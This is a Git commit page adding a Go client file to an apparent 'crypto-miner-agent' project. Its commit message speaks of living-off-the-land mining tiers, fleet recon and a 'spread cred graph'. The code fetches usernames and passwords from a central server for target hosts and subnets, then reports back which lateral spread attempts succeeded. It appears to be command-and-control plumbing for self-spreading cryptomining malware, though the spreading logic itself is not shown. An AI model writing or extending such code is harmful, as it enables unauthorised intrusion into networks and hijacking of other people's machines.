Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
142
agent/client/spread_cred.go
Normal file
142
agent/client/spread_cred.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type spreadCredIssueResponse struct {
|
||||
Token string `json:"token"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
}
|
||||
|
||||
type spreadCredRedeemResponse struct {
|
||||
ProfileID string `json:"profile_id"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) initSpreadCredHooks() {
|
||||
if strings.TrimSpace(c.cfg.FleetSecret) == "" {
|
||||
return
|
||||
}
|
||||
deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge)
|
||||
}
|
||||
|
||||
func (c *AgentClient) spreadCredHTTPClient() *http.Client {
|
||||
return &http.Client{Timeout: 20 * time.Second}
|
||||
}
|
||||
|
||||
func (c *AgentClient) spreadCredAPIBase() (string, error) {
|
||||
raw := strings.TrimSpace(c.cfg.ServerURL)
|
||||
if raw == "" {
|
||||
return "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) {
|
||||
base, err := c.spreadCredAPIBase()
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
issueBody, _ := json.Marshal(map[string]string{
|
||||
"agent_id": c.agentID,
|
||||
"host": host,
|
||||
"subnet": subnet,
|
||||
"method": method,
|
||||
})
|
||||
issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody))
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
issueReq.Header.Set("Content-Type", "application/json")
|
||||
issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
|
||||
resp, err := c.spreadCredHTTPClient().Do(issueReq)
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var issued spreadCredIssueResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
if strings.TrimSpace(issued.Token) == "" {
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token")
|
||||
}
|
||||
|
||||
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
redeemReq.Header.Set("Content-Type", "application/json")
|
||||
redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
|
||||
resp, err = c.spreadCredHTTPClient().Do(redeemReq)
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var redeemed spreadCredRedeemResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
return deploy.SpreadCredSession{
|
||||
ProfileID: redeemed.ProfileID,
|
||||
Username: redeemed.Username,
|
||||
Password: redeemed.Password,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) {
|
||||
base, err := c.spreadCredAPIBase()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
body, err := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"host": report.Host,
|
||||
"subnet": report.Subnet,
|
||||
"credential_profile_id": report.ProfileID,
|
||||
"method": report.Method,
|
||||
"success": report.Success,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := c.spreadCredHTTPClient().Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
io.Copy(io.Discard, resp.Body) //nolint:errcheck
|
||||
resp.Body.Close()
|
||||
}
|
||||
Reference in New Issue
Block a user